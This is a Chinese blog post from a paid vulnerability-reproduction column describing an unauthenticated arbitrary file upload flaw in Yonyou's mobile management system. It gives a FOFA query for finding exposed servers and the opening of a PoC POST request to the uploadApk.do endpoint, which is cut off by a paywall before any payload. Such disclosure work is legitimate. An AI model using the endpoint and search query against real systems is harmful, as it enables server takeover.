用友移动管理系统任意文件上传漏洞复现

0xSecl

已于 2023-08-16 08:50:56 修改

阅读量2.4k

点赞数 2

CC 4.0 BY-SA版权

分类专栏：漏洞复现v1 文章标签： web安全安全网络安全

于 2023-08-12 17:34:28 首次发布

本文链接：https://blog.youkuaiyun.com/qq_41904294/article/details/132251036

漏洞复现v1 专栏收录该内容

997 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了用友移动管理系统中一个严重的安全问题——任意文件上传漏洞。详细阐述了漏洞概述，复现环境以及复现过程，并提供了修复建议，包括限制接口访问权限和升级到安全版本。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

0x01 产品简介

用友移动系统管理是用友公司推出的一款移动办公解决方案，旨在帮助企业实现移动办公、提高管理效率和员工工作灵活性。它提供了一系列功能和工具，方便用户在移动设备上管理和处理企业的系统和业务。

0x02 漏洞概述

用友移动管理系统 uploadApk.do 接口存在任意文件上传漏洞，未经授权攻击者通过漏洞上传任意文件，最终可以获取服务器权限。

0x03 复现环境

FOFA：app="用友-移动系统管理"

0x04 漏洞复现

PoC

POST /maportal/appmanager/uploadApk.do?pk_obj= HTTP/1.1
Host: your-ip
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox

了解本专栏